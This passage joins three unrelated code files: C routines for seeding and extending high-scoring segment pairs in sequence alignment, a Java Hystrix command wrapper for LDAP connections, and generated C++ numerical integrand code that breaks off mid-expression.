register gint i;
register gint query_pos, target_pos;
g_assert(HSP_check(nh));
/* Initial hsp score */
query_pos = nh->query_start;
target_pos = nh->target_start;
nh->score = 0;
for(i = 0; i < nh->length; i++){
g_assert(HSP_check_positions(nh->hsp_set,
query_pos, target_pos));
nh->score += HSP_get_score(nh, query_pos, target_pos);
query_pos += HSP_query_advance(nh);
target_pos += HSP_target_advance(nh);
}
if(nh->score < 0){
HSP_print(nh, "Bad HSP seed");
g_error("Initial HSP score [%d] less than zero", nh->score);
}
g_assert(HSP_check(nh));
return;
}
static void HSP_extend(HSP *nh, gboolean forbid_masked){
register Match_Score score, maxscore;
register gint query_pos, target_pos;
register gint extend, maxext;
g_assert(HSP_check(nh));
/* extend left */
maxscore = score = nh->score;
query_pos = nh->query_start-HSP_query_advance(nh);
target_pos = nh->target_start-HSP_target_advance(nh);
for(extend = 1, maxext = 0;
((query_pos >= 0) && (target_pos >= 0));
extend++){
g_assert(HSP_check_positions(nh->hsp_set,
query_pos, target_pos));
if((forbid_masked)
&& (HSP_query_masked(nh, query_pos)
|| HSP_target_masked(nh, target_pos)))
break;
score += HSP_get_score(nh, query_pos, target_pos);
if(maxscore <= score){
maxscore = score;
maxext = extend;
} else {
if(score < 0) /* See note below */
break;
if((maxscore-score) >= nh->hsp_set->param->dropoff)
break;
}
query_pos -= HSP_query_advance(nh);
target_pos -= HSP_target_advance(nh);
}
query_pos = HSP_query_end(nh);
target_pos = HSP_target_end(nh);
nh->query_start -= (maxext * HSP_query_advance(nh));
nh->target_start -= (maxext * HSP_target_advance(nh));
nh->length += maxext;
score = maxscore;
/* extend right */
for(extend = 1, maxext = 0;
( ((query_pos+HSP_query_advance(nh))
<= nh->hsp_set->query->len)
&& ((target_pos+HSP_target_advance(nh))
<= nh->hsp_set->target->len) );
extend++){
g_assert(HSP_check_positions(nh->hsp_set,
query_pos, target_pos));
if((forbid_masked)
&& (HSP_query_masked(nh, query_pos)
|| HSP_target_masked(nh, target_pos)))
break;
score += HSP_get_score(nh, query_pos, target_pos);
if(maxscore <= score){
maxscore = score;
maxext = extend;
} else {
if(score < 0) /* See note below */
break;
if((maxscore-score) >= nh->hsp_set->param->dropoff)
break;
}
query_pos += HSP_query_advance(nh);
target_pos += HSP_target_advance(nh);
}
nh->score = maxscore;
nh->length += maxext;
g_assert(HSP_check(nh));
return;
}
/* The score cannot be allowed to drop below zero in the HSP,
* as this can result in overlapping HSPs in some circurmstances.
*/
static HSP *HSP_create(HSP *nh){
register HSP *hsp = RecycleBin_alloc(nh->hsp_set->hsp_recycle);
hsp->hsp_set = nh->hsp_set;
hsp->query_start = nh->query_start;
hsp->target_start = nh->target_start;
hsp->length = nh->length;
hsp->score = nh->score;
hsp->cobs = nh->cobs; /* Value can be set by HSPset_finalise(); */
return hsp;
}
void HSP_destroy(HSP *hsp){
register HSPset *hsp_set = hsp->hsp_set;
RecycleBin_recycle(hsp_set->hsp_recycle, hsp);
return;
}
static void HSP_trim_ends(HSP *hsp){
register gint i;
register gint query_pos, target_pos;
/* Trim left to first good match */
g_assert(HSP_check(hsp));
for(i = 0; i < hsp->length; i++){
if(HSP_get_score(hsp, hsp->query_start, hsp->target_start) > 0)
break;
hsp->query_start += HSP_query_advance(hsp);
hsp->target_start += HSP_target_advance(hsp);
}
hsp->length -= i;
/**/
g_assert(HSP_check(hsp));
query_pos = HSP_query_end(hsp) - HSP_query_advance(hsp);
target_pos = HSP_target_end(hsp) - HSP_target_advance(hsp);
/* Trim right to last good match */
while(hsp->length > 0){
g_assert(HSP_check_positions(hsp->hsp_set,
query_pos, target_pos));
if(HSP_get_score(hsp, query_pos, target_pos) > 0)
break;
hsp->length--;
query_pos -= HSP_query_advance(hsp);
target_pos -= HSP_target_advance(hsp);
}
g_assert(HSP_check(hsp));
return;
}
/* This is to remove any unmatching ends from the HSP seed.
*/
static gboolean HSP_PQueue_comp_func(gpointer low, gpointer high,
gpointer user_data){
register HSP *hsp_low = (HSP*)low, *hsp_high = (HSP*)high;
return hsp_low->score - hsp_high->score;
}
static void HSP_store(HSP *nascent_hsp){
register HSPset *hsp_set = nascent_hsp->hsp_set;
register PQueue *pq;
register HSP *hsp = NULL;
g_assert(nascent_hsp);
if(nascent_hsp->score < hsp_set->param->threshold)
return;
if(hsp_set->param->has->filter_threshold){ /* If have filter */
/* Get cobs value */
nascent_hsp->cobs = HSP_find_cobs(nascent_hsp);
pq = hsp_set->filter[HSP_query_cobs(nascent_hsp)];
if(pq){ /* Put in PQueue if better than worst */
if(PQueue_total(pq)
< hsp_set->param->has->filter_threshold){
hsp = HSP_create(nascent_hsp);
PQueue_push(pq, hsp);
} else {
g_assert(PQueue_total(pq));
hsp = PQueue_top(pq);
if(hsp->score < nascent_hsp->score){
hsp = PQueue_pop(pq);
HSP_destroy(hsp);
hsp = HSP_create(nascent_hsp);
PQueue_push(pq, hsp);
}
}
} else {
pq = PQueue_create(hsp_set->pqueue_set,
HSP_PQueue_comp_func, NULL);
hsp_set->filter[HSP_query_cobs(nascent_hsp)] = pq;
hsp = HSP_create(nascent_hsp);
PQueue_push(pq, hsp);
hsp_set->is_empty = FALSE;
}
} else {
hsp = HSP_create(nascent_hsp);
g_ptr_array_add(hsp_set->hsp_list, hsp);
hsp_set->is_empty = FALSE;
}
return;
}
/* FIXME: optimisation: could store HSPs as a list up until
* filter_threshold, then convert to a PQueue
*/
void HSPset_seed_hsp(HSPset *hsp_set,
guint query_start, guint target_start){
register gint diag_pos
= ((target_start * hsp_set->param->match->query->advance)
-(query_start * hsp_set->param->match->target->advance));
register gint query_frame = query_start
% hsp_set->param->match->query->advance,
target_frame = target_start
% hsp_set->param->match->target->advance;
register gint section_pos = (diag_pos + hsp_set->query->len)
% hsp_set->query->len;
HSP nascent_hsp;
g_assert(!hsp_set->is_finalised);
/**/
g_assert(section_pos >= 0);
g_assert(section_pos < hsp_set->query->len);
/* Check whether we have seen this HSP already */
if(target_start < hsp_set->horizon[0]
[section_pos]
[query_frame]
[target_frame])
return;
if(hsp_set->param->seed_repeat > 1){
if(++hsp_set->horizon[1][section_pos][query_frame][target_frame]
< hsp_set->param->seed_repeat)
return;
hsp_set->horizon[1][section_pos][query_frame][target_frame] = 0;
}
/* Nascent HSP building: */
nascent_hsp.hsp_set = hsp_set;
nascent_hsp.query_start = query_start;
nascent_hsp.target_start = target_start;
nascent_hsp.length = hsp_set->param->seedlen;
nascent_hsp.cobs = 0;
g_assert(HSP_check(&nascent_hsp));
HSP_trim_ends(&nascent_hsp);
/* Score is irrelevant before HSP_init() */
HSP_init(&nascent_hsp);
/* Try to make above threshold HSP using masking */
if(hsp_set->param->match->query->mask_func
|| hsp_set->param->match->target->mask_func){
HSP_extend(&nascent_hsp, TRUE);
if(nascent_hsp.score < hsp_set->param->threshold){
hsp_set->horizon[0][section_pos][query_frame][target_frame]
= HSP_target_end(&nascent_hsp);
return;
}
}
/* Extend the HSP again ignoring masking */
HSP_extend(&nascent_hsp, FALSE);
HSP_store(&nascent_hsp);
hsp_set->horizon[0][section_pos][query_frame][target_frame]
= HSP_target_end(&nascent_hsp);
return;
}
void HSPset_add_known_hsp(HSPset *hsp_set,
guint query_start, guint target_start,
guint length){
HSP nascent_hsp;
nascent_hsp.hsp_set = hsp_set;
nascent_hsp.query_start = query_start;
nascent_hsp.target_start = target_start;
nascent_hsp.length = length;
nascent_hsp.cobs = 0;
/* Score is irrelevant before HSP_init() */
HSP_init(&nascent_hsp);
HSP_store(&nascent_hsp);
return;
}
static void HSPset_seed_hsp_sorted(HSPset *hsp_set,
guint query_start, guint target_start,
gint ***horizon){
HSP nascent_hsp;
register gint diag_pos
= ((target_start * hsp_set->param->match->query->advance)
-(query_start * hsp_set->param->match->target->advance));
register gint query_frame = query_start
% hsp_set->param->match->query->advance,
target_frame = target_start
% hsp_set->param->match->target->advance;
register gint section_pos = (diag_pos + hsp_set->query->len)
% hsp_set->query->len;
g_assert(!hsp_set->is_finalised);
g_assert(!hsp_set->horizon);
g_assert(section_pos >= 0);
g_assert(section_pos < hsp_set->query->len);
/**/
if(horizon[1][query_frame][target_frame] != section_pos){
horizon[1][query_frame][target_frame] = section_pos;
horizon[0][query_frame][target_frame] = 0;
horizon[2][query_frame][target_frame] = 0;
}
if(++horizon[2][query_frame][target_frame] < hsp_set->param->seed_repeat)
return;
horizon[2][query_frame][target_frame] = 0;
/* Check whether we have seen this HSP already */
if(target_start < horizon[0][query_frame][target_frame])
return;
/**/
/* Nascent HSP building: */
nascent_hsp.hsp_set = hsp_set;
nascent_hsp.query_start = query_start;
nascent_hsp.target_start = target_start;
nascent_hsp.length = hsp_set->param->seedlen;
nascent_hsp.cobs = 0;
g_assert(HSP_check(&nascent_hsp));
HSP_trim_ends(&nascent_hsp);
/* Score is irrelevant before HSP_init() */
HSP_init(&nascent_hsp);
/* Try to make above threshold HSP using masking */
if(hsp_set->param->match->query->mask_func
|| hsp_set->param->match->target->mask_func){
HSP_extend(&nascent_hsp, TRUE);
if(nascent_hsp.score < hsp_set->param->threshold){
horizon[0][query_frame][target_frame]
= HSP_target_end(&nascent_hsp);
return;
}
}
/* Extend the HSP again ignoring masking */
HSP_extend(&nascent_hsp, FALSE);
HSP_store(&nascent_hsp);
/**/
horizon[0][query_frame][target_frame] = HSP_target_end(&nascent_hsp);
return;
}
/* horizon[0] = diag
* horizon[1] = target_end
* horizon[2] = repeat_count
*/
/* Need to use the global to pass q,t advance to qsort compare func */
static HSPset *HSPset_seed_compare_hsp_set = NULL;
static int HSPset_seed_compare(const void *a, const void *b){
register guint *seed_a = (guint*)a,
*seed_b = (guint*)b;
register gint diag_a, diag_b;
register HSPset *hsp_set = HSPset_seed_compare_hsp_set;
g_assert(hsp_set);
diag_a = ((seed_a[1] * hsp_set->param->match->query->advance)
- (seed_a[0] * hsp_set->param->match->target->advance)),
diag_b = ((seed_b[1] * hsp_set->param->match->query->advance)
- (seed_b[0] * hsp_set->param->match->target->advance));
if(diag_a == diag_b)
return seed_a[0] - seed_b[0];
return diag_a - diag_b;
}
void HSPset_seed_all_hsps(HSPset *hsp_set,
guint *seed_list, guint seed_list_len){
register gint i;
register gint ***horizon;
register gint qpos, tpos;
if(seed_list_len > 1){
HSPset_seed_compare_hsp_set = hsp_set;
qsort(seed_list, seed_list_len, sizeof(guint) << 1,
HSPset_seed_compare);
HSPset_seed_compare_hsp_set = NULL;
}
if(seed_list_len){
horizon = (gint***)Matrix3d_create(3,
hsp_set->param->match->query->advance,
hsp_set->param->match->target->advance,
sizeof(gint));
for(i = 0; i < seed_list_len; i++){
HSPset_seed_hsp_sorted(hsp_set,
seed_list[(i << 1)],
seed_list[(i << 1) + 1],
horizon);
qpos = seed_list[(i << 1)];
tpos = seed_list[(i << 1) + 1];
}
g_free(horizon);
}
HSPset_finalise(hsp_set);
return;
}
/**/
HSPset *HSPset_finalise(HSPset *hsp_set){
register gint i;
register HSP *hsp;
register PQueue *pq;
g_assert(!hsp_set->is_finalised);
hsp_set->is_finalised = TRUE;
if(hsp_set->param->has->filter_threshold && (!hsp_set->is_empty)){
/* Get HSPs from each PQueue */
for(i = 0; i < hsp_set->query->len; i++){
pq = hsp_set->filter[i];
if(pq){
while(PQueue_total(pq)){
hsp = PQueue_pop(pq);
g_ptr_array_add(hsp_set->hsp_list, hsp);
}
}
}
}
/* Set cobs for each HSP */
if(!hsp_set->param->has->filter_threshold){
for(i = 0; i < hsp_set->hsp_list->len; i++){
hsp = hsp_set->hsp_list->pdata[i];
hsp->cobs = HSP_find_cobs(hsp);
}
}
hsp_set->is_finalised = TRUE;
return hsp_set;
}
/**/
static int HSPset_sort_by_diag_then_query_start(const void *a,
const void *b){
register HSP **hsp_a = (HSP**)a, **hsp_b = (HSP**)b;
register gint diag_a = HSP_diagonal(*hsp_a),
diag_b = HSP_diagonal(*hsp_b);
if(diag_a == diag_b)
return (*hsp_a)->query_start - (*hsp_b)->query_start;
return diag_a - diag_b;
}
static Match_Score HSP_score_overlap(HSP *left, HSP *right){
register Match_Score score = 0;
register gint query_pos, target_pos;
g_assert(left->hsp_set == right->hsp_set);
g_assert(HSP_diagonal(left) == HSP_diagonal(right));
query_pos = HSP_query_end(left) - HSP_query_advance(left);
target_pos = HSP_target_end(left) - HSP_target_advance(left);
while(query_pos >= right->query_start){
score += HSP_get_score(left, query_pos, target_pos);
query_pos -= HSP_query_advance(left);
target_pos -= HSP_target_advance(left);
}
query_pos = right->query_start;
target_pos = right->target_start;
while(query_pos < (HSP_query_end(left)- HSP_query_advance(right))){
score += HSP_get_score(right, query_pos, target_pos);
query_pos += HSP_query_advance(right);
target_pos += HSP_target_advance(right);
}
return score;
}
/* Returns score for overlapping region of HSPs on same diagonal */
void HSPset_filter_ungapped(HSPset *hsp_set){
register GPtrArray *new_hsp_list;
register HSP *curr_hsp, *prev_hsp;
register gboolean del_prev, del_curr;
register gint i;
register Match_Score score;
/* Filter strongly overlapping HSPs on same diagonal
* but different frames (happens with 3:3 HSPs only)
*/
if((hsp_set->hsp_list->len > 1)
&& (hsp_set->param->match->query->advance == 3)
&& (hsp_set->param->match->target->advance == 3)){
/* FIXME: should not sort when using all-at-once HSPset */
qsort(hsp_set->hsp_list->pdata, hsp_set->hsp_list->len,
sizeof(gpointer), HSPset_sort_by_diag_then_query_start);
prev_hsp = hsp_set->hsp_list->pdata[0];
del_prev = FALSE;
del_curr = FALSE;
new_hsp_list = g_ptr_array_new();
for(i = 1; i < hsp_set->hsp_list->len; i++){
curr_hsp = hsp_set->hsp_list->pdata[i];
del_curr = FALSE;
if((HSP_diagonal(prev_hsp) == HSP_diagonal(curr_hsp))
&& (HSP_query_end(prev_hsp) > curr_hsp->query_start)){
score = HSP_score_overlap(prev_hsp, curr_hsp);
if((score << 1) > (curr_hsp->score + prev_hsp->score)){
/* FIXME: use codon_usage scores here instead */
if(prev_hsp->score < curr_hsp->score){
del_prev = TRUE;
} else {
del_curr = TRUE;
}
}
}
if(del_prev)
HSP_destroy(prev_hsp);
else
g_ptr_array_add(new_hsp_list, prev_hsp);
prev_hsp = curr_hsp;
del_prev = del_curr;
}
if(del_prev)
HSP_destroy(prev_hsp);
else
g_ptr_array_add(new_hsp_list, prev_hsp);
g_ptr_array_free(hsp_set->hsp_list, TRUE);
hsp_set->hsp_list = new_hsp_list;
}
return;
}
/**/
#define HSPset_SList_PAGE_BIT_WIDTH 10
#define HSPset_SList_PAGE_SIZE (1 << HSPset_SList_PAGE_BIT_WIDTH)
RecycleBin *HSPset_SList_RecycleBin_create(void){
return RecycleBin_create("HSPset_Slist", sizeof(HSPset_SList_Node),
4096);
}
HSPset_SList_Node *HSPset_SList_append(RecycleBin *recycle_bin,
HSPset_SList_Node *next,
gint query_pos, gint target_pos){
register HSPset_SList_Node *node = RecycleBin_alloc(recycle_bin);
node->next = next;
node->query_pos = query_pos;
node->target_pos = target_pos;
return node;
}
#if 0
typedef struct {
gint page_alloc;
gint page_total;
HSPset_SList_Node **diag_page_list;
gint ****horizon;
gint *page_used;
gint page_used_total;
} HSPset_SeedData;
static HSPset_SeedData *HSPset_SeedData_create(HSP_Param *hsp_param,
gint target_len){
register HSPset_SeedData *seed_data = g_new(HSPset_SeedData, 1);
seed_data->page_total = (target_len
>> HSPset_SList_PAGE_BIT_WIDTH) + 1;
seed_data->page_alloc = seed_data->page_total;
seed_data->diag_page_list = g_new0(HSPset_SList_Node*, seed_data->page_total);
seed_data->page_used = g_new(gint, seed_data->page_total);
seed_data->horizon = (gint****)Matrix4d_create(
2 + ((hsp_param->seed_repeat > 1)?1:0),
HSPset_SList_PAGE_SIZE,
hsp_param->match->query->advance,
hsp_param->match->target->advance,
sizeof(gint));
seed_data->page_used_total = 0;
return seed_data;
}
static void HSPset_SeedData_destroy(HSPset_SeedData *seed_data){
g_free(seed_data->diag_page_list);
g_free(seed_data->page_used);
g_free(seed_data->horizon);
g_free(seed_data);
return;
}
static void HSPset_SeedData_set_target_len(HSPset_SeedData *seed_data,
HSPset *hsp_set){
register gint new_page_total = (hsp_set->target->len
>> HSPset_SList_PAGE_BIT_WIDTH) + 1;
register gint i, a, b, c, d;
seed_data->page_total = new_page_total;
if(seed_data->page_alloc < new_page_total){
seed_data->page_alloc = seed_data->page_total;
g_free(seed_data->diag_page_list);
seed_data->diag_page_list = g_new(HSPset_SList_Node*,
seed_data->page_total);
g_free(seed_data->page_used);
seed_data->page_used = g_new(gint, seed_data->page_total);
}
/* Clear diag_page_list */
for(i = 0; i < seed_data->page_total; i++)
seed_data->diag_page_list[i] = 0;
/* Clear horizon */
for(a = 2 + ((hsp_set->param->seed_repeat > 1)?1:0); a >= 0; a--)
for(b = HSPset_SList_PAGE_SIZE; b >= 0; b--)
for(c = hsp_set->param->match->query->advance; c >= 0; c--)
for(d = hsp_set->param->match->target->advance; d >= 0; d--)
seed_data->horizon[a][b][c][d] = 0;
seed_data->page_used_total = 0;
return;
}
#endif /* 0 */
void HSPset_seed_all_qy_sorted(HSPset *hsp_set, HSPset_SList_Node *seed_list){
register gint page_total = (hsp_set->target->len
>> HSPset_SList_PAGE_BIT_WIDTH) + 1;
register HSPset_SList_Node **diag_page_list
= g_new0(HSPset_SList_Node*, page_total);
register gint *page_used = g_new(gint, page_total);
register gint ****horizon = (gint****)Matrix4d_create(
2 + ((hsp_set->param->seed_repeat > 1)?1:0),
HSPset_SList_PAGE_SIZE,
hsp_set->param->match->query->advance,
hsp_set->param->match->target->advance,
sizeof(gint));
/*
register HSPset_SeedData *seed_data = HSPset_SeedData_create(hsp_set->param,
hsp_set->target->len);
*/
register gint i, page, diag_pos, query_frame, target_frame,
section_pos, page_pos;
register HSPset_SList_Node *seed;
register gint page_used_total = 0;
HSP nascent_hsp;
/* g_message("[%s] with [%d]", __FUNCTION__, hsp_set->target->len); */
/* HSPset_SeedData_set_target_len(seed_data, hsp_set); */
/* Bin on diagonal into pages */
while(seed_list){
seed = seed_list;
seed_list = seed_list->next;
/**/
diag_pos = (seed->target_pos
* hsp_set->param->match->query->advance)
- (seed->query_pos
* hsp_set->param->match->target->advance);
section_pos = ((diag_pos + hsp_set->target->len)
% hsp_set->target->len);
page = (section_pos >> HSPset_SList_PAGE_BIT_WIDTH);
g_assert(section_pos >= 0);
g_assert(section_pos < hsp_set->target->len);
g_assert(page >= 0);
g_assert(page < page_total);
/**/
if(!diag_page_list[page])
page_used[page_used_total++] = page;
seed->next = diag_page_list[page];
diag_page_list[page] = seed;
}
/* Seed each page using page horizon */
for(i = 0; i < page_used_total; i++){
page = page_used[i];
for(seed = diag_page_list[page]; seed; seed = seed->next){
g_assert((!seed->next)
|| (seed->query_pos <= seed->next->query_pos));
diag_pos = (seed->target_pos
* hsp_set->param->match->query->advance)
- (seed->query_pos
* hsp_set->param->match->target->advance);
query_frame = seed->query_pos
% hsp_set->param->match->query->advance;
target_frame = seed->target_pos
% hsp_set->param->match->target->advance;
section_pos = ((diag_pos + hsp_set->target->len)
% hsp_set->target->len);
page_pos = section_pos
- (page << HSPset_SList_PAGE_BIT_WIDTH);
g_assert(page_pos >= 0);
g_assert(page_pos < HSPset_SList_PAGE_SIZE);
/* Clear if page has changed */
if(horizon[1][page_pos][query_frame][target_frame] != page){
horizon[0][page_pos][query_frame][target_frame] = 0;
horizon[1][page_pos][query_frame][target_frame] = page;
if(hsp_set->param->seed_repeat > 1)
horizon[2][page_pos][query_frame][target_frame] = 0;
}
if(seed->query_pos < horizon[0][page_pos][query_frame][target_frame])
continue;
if(hsp_set->param->seed_repeat > 1){
if(++horizon[2][page_pos][query_frame][target_frame]
< hsp_set->param->seed_repeat){
continue;
}
horizon[2][page_pos][query_frame][target_frame] = 0;
}
/* Nascent HSP building: */
nascent_hsp.hsp_set = hsp_set;
nascent_hsp.query_start = seed->query_pos;
nascent_hsp.target_start = seed->target_pos;
nascent_hsp.length = hsp_set->param->seedlen;
nascent_hsp.cobs = 0;
g_assert(HSP_check(&nascent_hsp));
HSP_trim_ends(&nascent_hsp);
/* Score is irrelevant before HSP_init() */
HSP_init(&nascent_hsp);
/* Try to make above threshold HSP using masking */
if(hsp_set->param->match->query->mask_func
|| hsp_set->param->match->target->mask_func){
HSP_extend(&nascent_hsp, TRUE);
if(nascent_hsp.score < hsp_set->param->threshold){
horizon[0][page_pos][query_frame][target_frame]
= HSP_query_end(&nascent_hsp);
continue;
}
}
/* Extend the HSP again ignoring masking */
HSP_extend(&nascent_hsp, FALSE);
HSP_store(&nascent_hsp);
/**/
horizon[0][page_pos][query_frame][target_frame]
= HSP_query_end(&nascent_hsp);
}
}
g_free(diag_page_list);
g_free(page_used);
g_free(horizon);
HSPset_finalise(hsp_set);
/* HSPset_SeedData_destroy(seed_data); */
return;
}
/* horizon[horizon][mailbox][seed_repeat]
* [page_size][qadv][tadv]
*/
/**/
| Java |
/*
Copyright 2014 Red Hat, Inc. and/or its affiliates.
This file is part of lightblue.
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
package com.redhat.lightblue.hystrix.ldap;
import com.netflix.hystrix.HystrixCommand;
import com.netflix.hystrix.HystrixCommandGroupKey;
import com.netflix.hystrix.HystrixCommandKey;
import com.unboundid.ldap.sdk.LDAPConnection;
public abstract class AbstractLdapHystrixCommand<T> extends HystrixCommand<T>{
public static final String GROUPKEY = "ldap";
private final LDAPConnection connection;
public LDAPConnection getConnection(){
return connection;
}
public AbstractLdapHystrixCommand(LDAPConnection connection, String commandKey){
super(HystrixCommand.Setter.withGroupKey(HystrixCommandGroupKey.Factory.asKey(GROUPKEY)).
andCommandKey(HystrixCommandKey.Factory.asKey(GROUPKEY + ":" + commandKey)));
this.connection = connection;
}
}
| Java |
#include "intfile.hh"
dcmplx Pf8(const double x[], double es[], double esx[], double em[], double lambda, double lrs[], double bi) {
double x0=x[0];
double x1=x[1];
double x2=x[2];
dcmplx y[149];
dcmplx FOUT;
dcmplx MYI(0.,1.);
y[1]=1./bi;
y[2]=em[0];
y[3]=x0*x0;
y[4]=em[3];
y[5]=em[1];
y[6]=em[2];
y[7]=esx[0];
y[8]=y[1]*y[5];
y[9]=-(y[1]*y[7]);
y[10]=-x1;
y[11]=1.+y[10];
y[12]=x0*y[1]*y[2];
y[13]=y[1]*y[2]*y[3];
y[14]=2.*x2*y[1]*y[2]*y[3];
y[15]=y[1]*y[3]*y[5];
y[16]=x0*y[1]*y[6];
y[17]=x0*y[1]*y[4];
y[18]=2.*x1*y[1]*y[3]*y[4];
y[19]=-(y[1]*y[3]*y[7]);
y[20]=y[12]+y[13]+y[14]+y[15]+y[16]+y[17]+y[18]+y[19];
y[21]=-x0;
y[22]=1.+y[21];
y[23]=x2*x2;
y[24]=x1*x1;
y[25]=lrs[0];
y[26]=x2*y[1]*y[2];
y[27]=2.*x0*x1*y[1]*y[5];
y[28]=x1*y[1]*y[6];
y[29]=x1*y[1]*y[4];
y[30]=2.*x0*y[1]*y[4]*y[24];
y[31]=x1*x2*y[1]*y[2];
y[32]=2.*x0*x1*x2*y[1]*y[2];
y[33]=y[1]*y[2]*y[23];
y[34]=2.*x0*x1*y[1]*y[2]*y[23];
y[35]=x1*y[1]*y[5];
y[36]=x2*y[1]*y[5];
y[37]=2.*x0*x1*x2*y[1]*y[5];
y[38]=x1*x2*y[1]*y[6];
y[39]=y[1]*y[4]*y[24];
y[40]=x1*x2*y[1]*y[4];
y[41]=2.*x0*x2*y[1]*y[4]*y[24];
y[42]=-(x1*y[1]*y[7]);
y[43]=-(x2*y[1]*y[7]);
y[44]=-2.*x0*x1*x2*y[1]*y[7];
y[45]=y[8]+y[26]+y[27]+y[28]+y[29]+y[30]+y[31]+y[32]+y[33]+y[34]+y[35]+y[36]\
+y[37]+y[38]+y[39]+y[40]+y[41]+y[42]+y[43]+y[44];
y[46]=lrs[1];
y[47]=-x2;
y[48]=1.+y[47];
y[49]=y[1]*y[2];
y[50]=x1*y[1]*y[2];
y[51]=2.*x0*x1*y[1]*y[2];
y[52]=2.*x2*y[1]*y[2];
y[53]=4.*x0*x1*x2*y[1]*y[2];
y[54]=-2.*x0*x1*y[1]*y[7];
y[55]=y[8]+y[9]+y[27]+y[28]+y[29]+y[30]+y[49]+y[50]+y[51]+y[52]+y[53]+y[54];
y[56]=lambda*lambda;
y[57]=2.*x0*x2*y[1]*y[2];
y[58]=2.*x0*y[1]*y[2]*y[23];
y[59]=2.*x0*y[1]*y[5];
y[60]=2.*x0*x2*y[1]*y[5];
y[61]=y[1]*y[6];
y[62]=x2*y[1]*y[6];
y[63]=y[1]*y[4];
y[64]=2.*x1*y[1]*y[4];
y[65]=4.*x0*x1*y[1]*y[4];
y[66]=x2*y[1]*y[4];
y[67]=4.*x0*x1*x2*y[1]*y[4];
y[68]=-2.*x0*x2*y[1]*y[7];
y[69]=y[8]+y[9]+y[26]+y[57]+y[58]+y[59]+y[60]+y[61]+y[62]+y[63]+y[64]+y[65]+\
y[66]+y[67]+y[68];
y[70]=x0*x2*y[1]*y[2];
y[71]=x2*y[1]*y[2]*y[3];
y[72]=y[1]*y[2]*y[3]*y[23];
y[73]=x0*y[1]*y[5];
y[74]=x2*y[1]*y[3]*y[5];
y[75]=x0*x2*y[1]*y[6];
y[76]=2.*x0*x1*y[1]*y[4];
y[77]=x0*x2*y[1]*y[4];
y[78]=2.*x1*x2*y[1]*y[3]*y[4];
y[79]=-(x0*y[1]*y[7]);
y[80]=-(x2*y[1]*y[3]*y[7]);
y[81]=y[15]+y[16]+y[17]+y[18]+y[61]+y[70]+y[71]+y[72]+y[73]+y[74]+y[75]+y[76\
]+y[77]+y[78]+y[79]+y[80];
y[82]=lrs[2];
y[83]=2.*x1*x2*y[1]*y[2];
y[84]=2.*x1*y[1]*y[2]*y[23];
y[85]=2.*x1*y[1]*y[5];
y[86]=2.*x1*x2*y[1]*y[5];
y[87]=2.*y[1]*y[4]*y[24];
y[88]=2.*x2*y[1]*y[4]*y[24];
y[89]=-2.*x1*x2*y[1]*y[7];
y[90]=y[83]+y[84]+y[85]+y[86]+y[87]+y[88]+y[89];
y[91]=-(lambda*MYI*x0*y[22]*y[25]*y[90]);
y[92]=-(lambda*MYI*y[22]*y[25]*y[45]);
y[93]=lambda*MYI*x0*y[25]*y[45];
y[94]=1.+y[91]+y[92]+y[93];
y[95]=2.*x0*y[1]*y[4];
y[96]=2.*y[1]*y[3]*y[4];
y[97]=2.*x2*y[1]*y[3]*y[4];
y[98]=y[95]+y[96]+y[97];
y[99]=-(lambda*MYI*x1*y[11]*y[46]*y[98]);
y[100]=-(lambda*MYI*y[11]*y[46]*y[81]);
y[101]=lambda*MYI*x1*y[46]*y[81];
y[102]=1.+y[99]+y[100]+y[101];
y[103]=x0*x1*y[1]*y[2];
y[104]=x1*y[1]*y[2]*y[3];
y[105]=2.*x1*x2*y[1]*y[2]*y[3];
y[106]=x1*y[1]*y[3]*y[5];
y[107]=x0*x1*y[1]*y[6];
y[108]=x0*x1*y[1]*y[4];
y[109]=y[1]*y[3]*y[4]*y[24];
y[110]=-(x1*y[1]*y[3]*y[7]);
y[111]=y[12]+y[57]+y[61]+y[73]+y[79]+y[103]+y[104]+y[105]+y[106]+y[107]+y[10\
8]+y[109]+y[110];
y[112]=-(lambda*MYI*x1*y[11]*y[46]*y[81]);
y[113]=x1+y[112];
y[114]=-(lambda*MYI*x0*y[22]*y[25]*y[45]);
y[115]=x0+y[114];
y[116]=-(lambda*MYI*x2*y[48]*y[82]*y[111]);
y[117]=x2+y[116];
y[118]=pow(bi,-2);
y[119]=x0*x1*y[11]*y[22]*y[25]*y[46]*y[55]*y[56]*y[69];
y[120]=-(lambda*MYI*x1*y[11]*y[20]*y[46]*y[94]);
y[121]=y[119]+y[120];
y[122]=lambda*MYI*x2*y[20]*y[48]*y[82]*y[121];
y[123]=-(x0*x1*y[11]*y[20]*y[22]*y[25]*y[46]*y[56]*y[69]);
y[124]=lambda*MYI*x0*y[22]*y[25]*y[55]*y[102];
y[125]=y[123]+y[124];
y[126]=-(lambda*MYI*x2*y[48]*y[55]*y[82]*y[125]);
y[127]=pow(y[69],2);
y[128]=x0*x1*y[11]*y[22]*y[25]*y[46]*y[56]*y[127];
y[129]=y[94]*y[102];
y[130]=y[128]+y[129];
y[131]=2.*x0*y[1]*y[2];
y[132]=2.*x1*y[1]*y[2]*y[3];
y[133]=y[131]+y[132];
y[134]=-(lambda*MYI*x2*y[48]*y[82]*y[133]);
y[135]=-(lambda*MYI*y[48]*y[82]*y[111]);
y[136]=lambda*MYI*x2*y[82]*y[111];
y[137]=1.+y[134]+y[135]+y[136];
y[138]=y[130]*y[137];
y[139]=y[122]+y[126]+y[138];
y[140]=y[1]*y[113];
y[141]=y[1]*y[113]*y[115];
y[142]=y[1]*y[117];
y[143]=y[1]*y[113]*y[115]*y[117];
y[144]=y[1]+y[140]+y[141]+y[142]+y[143];
y[145]=pow(y[144],-2);
y[146]=pow(y[115],2);
y[147]=pow(y[113],2);
y[148]=pow(y[117],2);
FOUT=myLog(bi)*y[118]*y[139]*y[145]+myLog(x0)*y[118]*y[139]*y[145]+myLog(1.+\
y[92])*y[118]*y[139]*y[145]+3.*myLog(y[144])*y[118]*y[139]*y[145]-2.*myLog(\
y[61]+y[1]*y[6]*y[113]+y[1]*y[5]*y[115]+y[1]*y[4]*y[113]*y[115]+y[1]*y[5]*y\
